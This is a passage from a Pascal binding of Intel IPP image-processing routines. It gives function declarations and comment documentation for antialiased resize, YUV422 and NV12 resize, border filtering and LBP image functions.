dstSize Size of the destination image (in pixels)
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
pSpec Pointer to the Spec structure for resize filter
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of output image is zero
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsNotSupportedModeErr Indicates an error if requested mode is currently not supported
ippStsSizeErr Indicates an error if width or height of the destination image
is negative
ippStsStepErr Indicates an error if the step value is not data type multiple
ippStsOutOfRangeErr Indicates an error if the destination image offset point is outside the
destination image origin
ippStsSizeWrn Indicates a warning if the destination image size is more than
the destination image origin size
Notes:
1. Supported border types are ippBorderInMemory and ippBorderReplicate
2. Hahn filter does not supported now.
}
function ippiResizeAntialiasing_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasing_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Resize Transform Functions. YUY2 pixel format
------------------------------------------------------------------------------
Name: ippiResizeYUV422GetSize
Purpose: Computes the size of Spec structure and temporal buffer for Resize transform
Parameters:
srcSize Size of the source image (in pixels)
dstSize Size of the destination image (in pixels)
interpolation Interpolation method
antialiasing Antialiasing method
pSpecSize Pointer to the size (in bytes) of the Spec structure
pInitBufSize Pointer to the size (in bytes) of the temporal buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error in the following cases:
- if the source image size is less than the filter size
for the chosen interpolation method,
- if one of the calculated sizes exceeds maximum 32 bit signed integer
positive value (the size of one of the processed images is too large).
ippStsSizeWrn Indicates a warning if width of the image is odd
ippStsInterpolationErr Indicates an error if interpolation has an illegal value
ippStsNoAntialiasing if the specified interpolation method does not support antialiasing.
ippStsNotSupportedModeErr Indicates an error if requested mode is currently not supported
Notes:
1. Supported interpolation methods are ippNearest, ippLinear.
2. Antialiasing feature does not supported now. The antialiasing value should be equal zero.
3. The implemented interpolation algorithms have the following filter sizes: Nearest Neighbor 2x1,
Linear 4x2.
}
function ippiResizeYUV422GetSize( srcSize : IppiSize ; dstSize : IppiSize ; interpolation : IppiInterpolationType ; antialiasing : Ipp32u ; pSpecSize : Ipp32sPtr ; pInitBufSize : Ipp32sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV422GetBufSize
Purpose: Computes the size of external buffer for Resize transform
Parameters:
pSpec Pointer to the Spec structure for resize filter
dstSize Size of the output image (in pixels)
pBufSize Pointer to the size (in bytes) of the external buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of the destination image is
equal to zero.
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsSizeWrn Indicates a warning in the following cases:
- if width of the image is odd,
- if the destination image size is more than the destination image origin size
ippStsSizeErr Indicates an error in the following cases:
- if width of the image is equal to 1,
- if width or height of the source or destination image is negative,
- if the calculated buffer size exceeds maximum 32 bit signed integer positive
value (the processed image size is too large)
}
function ippiResizeYUV422GetBufSize( pSpec : IppiResizeYUV422SpecPtr ; dstSize : IppiSize ; pBufSize : Ipp32sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV422GetBorderSize
Purpose: Computes the size of possible borders for Resize transform
Parameters:
pSpec Pointer to the Spec structure for resize filter
borderSize Size of necessary borders
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
}
function ippiResizeYUV422GetBorderSize( pSpec : IppiResizeYUV422SpecPtr ; var borderSize : IppiBorderSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV422GetSrcOffset
Purpose: Computes the offset of input image for Resize transform by tile processing
Parameters:
pSpec Pointer to the Spec structure for resize filter
dstOffset Offset of the tiled destination image respective to the destination image origin
srcOffset Pointer to the offset of source image
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsMisalignedOffsetErr Indicates an error if the x field of the dstOffset parameter is odd.
ippStsContextMatchErr Indicates an error if pointer to the spec structure is invalid.
}
function ippiResizeYUV422GetSrcOffset( pSpec : IppiResizeYUV422SpecPtr ; dstOffset : IppiPoint ; srcOffset : IppiPointPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV422NearestInit
ippiResizeYUV422LinearInit
Purpose: Initializes the Spec structure for the Resize transform
by different interpolation methods
Parameters:
srcSize Size of the source image (in pixels)
dstSize Size of the destination image (in pixels)
pSpec Pointer to the Spec structure for resize filter
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeWrn Indicates a warning if width of any image is odd
ippStsSizeErr Indicates an error in the following cases:
- if width of the image is equal to 1,
- if width or height of the source or destination image is negative,
- if the source image size is less than the chosen
interpolation method filter size
Notes:
1.The implemented interpolation algorithms have the following filter sizes: Nearest Neighbor 2x1,
Linear 4x2.
}
function ippiResizeYUV422NearestInit( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeYUV422SpecPtr ): IppStatus; _ippapi
function ippiResizeYUV422LinearInit( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeYUV422SpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV422Nearest_8u_C2R
ippiResizeYUV422Linear_8u_C2R
Purpose: Changes an image size by different interpolation methods
Parameters:
pSrc Pointer to the source image
srcStep Distance (in bytes) between of consecutive lines in the source image
pDst Pointer to the destination image
dstStep Distance (in bytes) between of consecutive lines in the destination image
dstOffset Offset of tiled image respectively output origin image
dstSize Size of the destination image (in pixels)
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
pSpec Pointer to the Spec structure for resize filter
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of output image is zero
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsSizeWrn Indicates a warning in the following cases:
/ - if width of the image is odd,
- if the destination image size is more than the destination image origin size.
ippStsMisalignedOffsetErr Indicates an error if the x field of the dstOffset parameter is odd
ippStsSizeErr Indicates an error if width of the destination image is equal to 1,
or if width or height of the source or destination image is negative
ippStsOutOfRangeErr Indicates an error if the destination image offset point is outside
the destination image origin
ippStsStepErr Indicates an error if the step value is not data type multiple
Notes:
1. YUY2 pixel format (Y0U0Y1V0,Y2U1Y3V1,.. or Y0Cb0Y1Cr0, Y2Cb1Y3Cr1,..).
2. Supported border types are ippBorderInMemory and ippBorderReplicate for Linear method.
}
function ippiResizeYUV422Nearest_8u_C2R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeYUV422SpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeYUV422Linear_8u_C2R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeYUV422SpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Resize Transform Functions. NV12 planar format
------------------------------------------------------------------------------
Name: ippiResizeYUV420GetSize
Purpose: Computes the size of Spec structure and temporal buffer for Resize transform
Parameters:
srcSize Size of the input image (in pixels)
dstSize Size of the output image (in pixels)
interpolation Interpolation method
antialiasing Antialiasing method
pSpecSize Pointer to the size (in bytes) of the Spec structure
pInitBufSize Pointer to the size (in bytes) of the temporal buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error in the following cases:
- if width or height of the image is equal to 1,
- if the source image size is less than a filter size of
the chosen interpolation method (except ippSuper),
- if one of the specified dimensions of the source image is less than
the corresponding dimension of the destination image
(for ippSuper method only),
- if width or height of the source or destination image is negative,
- if one of the calculated sizes exceeds maximum 32 bit signed integer
positive value (the size of the one of the processed images is too large).
ippStsSizeWrn Indicates a warning if width or height of any image is odd
ippStsInterpolationErr Indicates an error if interpolation has an illegal value
ippStsNoAntialiasing Indicates a warning if the specified interpolation method does not
support antialiasing
ippStsNotSupportedModeErr Indicates an error if requested mode is currently not supported
Notes:
1. Supported interpolation methods are ippLanczos and ippSuper.
2. Antialiasing feature does not supported now. The antialiasing value should be equal zero.
3. The implemented interpolation algorithms have the following filter sizes: 2-lobed Lanczos 4x4
}
function ippiResizeYUV420GetSize( srcSize : IppiSize ; dstSize : IppiSize ; interpolation : IppiInterpolationType ; antialiasing : Ipp32u ; pSpecSize : Ipp32sPtr ; pInitBufSize : Ipp32sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV420GetBufferSize
Purpose: Computes the size of external buffer for Resize transform
Parameters:
pSpec Pointer to the Spec structure for resize filter
dstSize Size of the output image (in pixels)
pBufSize Pointer to the size (in bytes) of the external buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsNoOperation Indicates a warning if width or height of destination image is zero
ippStsSizeWrn Indicates a warning in the following cases:
- if width or height of the image is odd,
- if the destination image size is more than the destination
/ image origin size
ippStsSizeErr Indicates an error in the following cases
- if width or height of the image is equal to 1,
- if width or height of the destination image is negative,
- if the calculated buffer size exceeds maximum 32 bit signed integer
positive value (the processed image size is too large)
}
function ippiResizeYUV420GetBufferSize( pSpec : IppiResizeYUV420SpecPtr ; dstSize : IppiSize ; pBufSize : Ipp32sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV420GetBorderSize
Purpose: Computes the size of possible borders for Resize transform
Parameters:
pSpec Pointer to the Spec structure for resize filter
borderSize Size of necessary borders
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
}
function ippiResizeYUV420GetBorderSize( pSpec : IppiResizeYUV420SpecPtr ; var borderSize : IppiBorderSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV420GetSrcOffset
Purpose: Computes the offset of input image for Resize transform by tile processing
Parameters:
pSpec Pointer to the Spec structure for resize filter
dstOffset Point of offset of tiled output image
srcOffset Pointer to the offset of input image
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsSizeErr Indicates an error if width or height of the destination image is negative
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsOutOfRangeErr Indicates an error if the destination image offset
point is outside the destination image origin
ippStsMisalignedOffsetErr Indicates an error if one of the fields of the dstOffset parameter is odd.
}
function ippiResizeYUV420GetSrcOffset( pSpec : IppiResizeYUV420SpecPtr ; dstOffset : IppiPoint ; srcOffset : IppiPointPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV420LanczosInit
ippiResizeYUV420SuperInit
Purpose: Initializes the Spec structure for the Resize transform
by different interpolation methods
Parameters:
srcSize Size of the input image (in pixels)
dstSize Size of the output image (in pixels)
pSpec Pointer to the Spec structure for resize filter
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeWrn Indicates a warning if width or height of any image is odd
ippStsSizeErr Indicates an error in the following cases:
- if width or height of the source or destination image is equal to 1,
- if width or height of the source or destination image is negative,
- if the source image size is less than the chosen interpolation
filter size (excepting ippSuper)
- if one of the specified dimensions of the source image is less than
the corresponding dimension of the destination image (only for ippSuper)
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported
Note.
The implemented interpolation algorithms have the following filter sizes:
2-lobed Lanczos 8x8, 3-lobed Lanczos 12x12.
}
function ippiResizeYUV420LanczosInit( srcSize : IppiSize ; dstSize : IppiSize ; numLobes : Ipp32u ; pSpec : IppiResizeYUV420SpecPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeYUV420SuperInit( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeYUV420SpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeYUV420Lanczos_8u_P2R
ippiResizeYUV420Super_8u_P2R
Purpose: Changes an image size by different interpolation methods
Parameters:
pSrcY Pointer to the source image Y plane
srcYStep Distance (in bytes) between of consecutive lines in the source image Y plane
pSrcUV Pointer to the source image UV plane
srcUVStep Distance (in bytes) between of consecutive lines in the source image UV plane
pDstY Pointer to the destination image Y plane
dstYStep Distance (in bytes) between of consecutive lines in the destination image Y plane
pDstUV Pointer to the destination image UV plane
dstUVStep Distance (in bytes) between of consecutive lines in the destination image UV plane
dstOffset Offset of tiled image respectively output origin image
dstSize Size of the output image (in pixels)
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
pSpec Pointer to the Spec structure for resize filter
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of destination image is zero
ippStsSizeWrn Indicates a warning in the following cases:
- if width of the image is odd,
- if the destination image exceeds the destination image origin
ippStsSizeErr Indicates an error if width of the destination image is equal to 1,
or if width or height of the source or destination image is negative
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsMisalignedOffsetErr Indicates an error if one of the fields of the dstOffset parameter is odd
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported
Notes:
1. Source 4:2:0 two-plane image format (NV12):
All Y samples (pSrcY) are found first in memory as an array of unsigned char with an even number of lines memory alignment,
followed immediately by an array (pSrcUV) of unsigned char containing interleaved U and V samples.
2. Supported border types are ippBorderInMemory and ippBorderReplicate for Lanczos methods.
}
function ippiResizeYUV420Lanczos_8u_P2R( pSrcY : Ipp8uPtr ; srcYStep : Ipp32s ; pSrcUV : Ipp8uPtr ; srcUVStep : Ipp32s ; pDstY : Ipp8uPtr ; dstYStep : Ipp32s ; pDstUV : Ipp8uPtr ; dstUVStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeYUV420SpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeYUV420Super_8u_P2R( pSrcY : Ipp8uPtr ; srcYStep : Ipp32s ; pSrcUV : Ipp8uPtr ; srcUVStep : Ipp32s ; pDstY : Ipp8uPtr ; dstYStep : Ipp32s ; pDstUV : Ipp8uPtr ; dstUVStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeYUV420SpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ -----------------------------------------------------------------------------------------------------
Name: ippiFilterBorderGetSize, ippiFilterBorderInit, ippiFilterBorder
Purpose: Filters an image using a general integer rectangular kernel
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr dstRoiSize or kernelSize has a field with zero or negative value
ippStsDivisorErr Divisor value is zero, function execution is interrupted
Parameters:
pSrc Distance, in bytes, between the starting points of consecutive lines in the source image
srcStep Step in bytes through the source image buffer
pDst Pointer to the destination buffer
dstStep Distance, in bytes, between the starting points of consecutive lines in the destination image
dstRoiSize Size of the source and destination ROI in pixels
pKernel Pointer to the kernel values
kernelSize Size of the rectangular kernel in pixels.
divisor The integer value by which the computed result is divided.
kernelType Kernel type (ipp16s|Ipp32f)
dataType Data type (ipp8u|ipp16u|Ipp32f)
numChannels Number of channels, possible values are 1, 3 or 4
roundMode Rounding mode (ippRndZero, ippRndNear or ippRndFinancial)
pSpecSize Pointer to the size (in bytes) of the spec structure
pBufSize Pointer to the size (in bytes) of the external buffer
pSpec Pointer to pointer to the allocated and initialized context structure
borderType Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
pBuffer Pointer to the work buffer. It can be equal to NULL if optimization algorithm doesn`t demand a work buffer
}
function ippiFilterBorderGetSize( kernelSize : IppiSize ; dstRoiSize : IppiSize ; dataType : IppDataType ; kernelType : IppDataType ; numChannels : Int32 ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterBorderInit_16s( pKernel : Ipp16sPtr ; kernelSize : IppiSize ; divisor : Int32 ; dataType : IppDataType ; numChannels : Int32 ; roundMode : IppRoundMode ; pSpec : IppiFilterBorderSpecPtr ): IppStatus; _ippapi
function ippiFilterBorderInit_32f( pKernel : Ipp32fPtr ; kernelSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; roundMode : IppRoundMode ; pSpec : IppiFilterBorderSpecPtr ): IppStatus; _ippapi
function ippiFilterBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp8u_3 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp8u_4 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16u_3 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16u_4 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; borderValue : Ipp16sPtr ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16s_3 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp16s_4 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp32f_3 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; border : IppiBorderType ; const borderValue : Ipp32f_4 ; pSpec : IppiFilterBorderSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Name: ippiFilterBorderSetMode
Purpose: Set offset value for Ipp8u and Ipp16u and roundMode (Fast or Accurate)
Parameters:
hint ippAlgHintNone, ippAlgHintFast, ippAlgHintAccurate. Default, fast or accurate rounding.
ippAlgHintNone and ippAlgHintFast - default modes, mean that the most common rounding is performed with
roundMode passed to Init function, but function performance takes precedence over accuracy and some output
pixels can differ on +-1 from exact result
ippAlgHintAccurate means that all output pixels are exact and accuracy takes precedence over performance
offset offset value. It is just a constant that is added to the final signed result before converting it to unsigned for Ipp8u and Ipp16u data types
pSpec Pointer to the initialized ippiFilter Spec
Returns:
ippStsNoErr no errors
ippStsNullPtrErr one of the pointers is NULL
ippStsNotSupportedModeErr the offset value is not supported, for Ipp16s and Ipp32f data types.
ippStsAccurateModeNotSupported the accurate mode not supported for some data types. The result of rounding can be inexact.
}
function ippiFilterBorderSetMode( hint : IppHintAlgorithm ; offset : Int32 ; pSpec : IppiFilterBorderSpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------------------------------
Name: ippiLBPImageMode
Purpose: Calculates the LBP of the image.
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starting points of consecutive lines in the source image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starting points of consecutive lines in the destination image.
dstRoiSize Size of the destination ROI in pixels.
mode Specify how LBP is created.
borderType Type of border.
Possible values are:
ippBorderRepl Border is replicated from the edge pixels.
ippBorderInMem Border is obtained from the source image pixels in memory.
Mixed borders are also supported.
They can be obtained by the bitwise operation OR between ippBorderRepl and ippBorderInMemTop, ippBorderInMemBottom, ippBorderInMemLeft, ippBorderInMemRight.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable only to the ippBorderConst border type.
Returns:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when one of the specified pointers is NULL.
ippStsSizeErr Indicates an error if dstRoiSize has a field with zero or negative value.
ippStsBadArgErr Indicates an error when border has an illegal value.
}
function ippiLBPImageMode3x3_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mode : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp8uPtr ): IppStatus; _ippapi
function ippiLBPImageMode5x5_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mode : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp8uPtr): IppStatus; _ippapi
function ippiLBPImageMode5x5_8u16u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mode : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp8uPtr): IppStatus; _ippapi
function ippiLBPImageMode3x3_32f8u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mode : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp32fPtr ): IppStatus; _ippapi
function ippiLBPImageMode5x5_32f8u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mode : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp32fPtr ): IppStatus; _ippapi
function ippiLBPImageMode5x5_32f16u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mode : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------------------------------
Name: ippiLBPImageHorizCorr_...
Purpose: Calculates a correlation between two LBPs.
Parameters:
pSrc1, pSrc2 Pointers to the source images ROI.
srcStep1, srcStep2 Distance in bytes between starting points of consecutive lines in the source image.
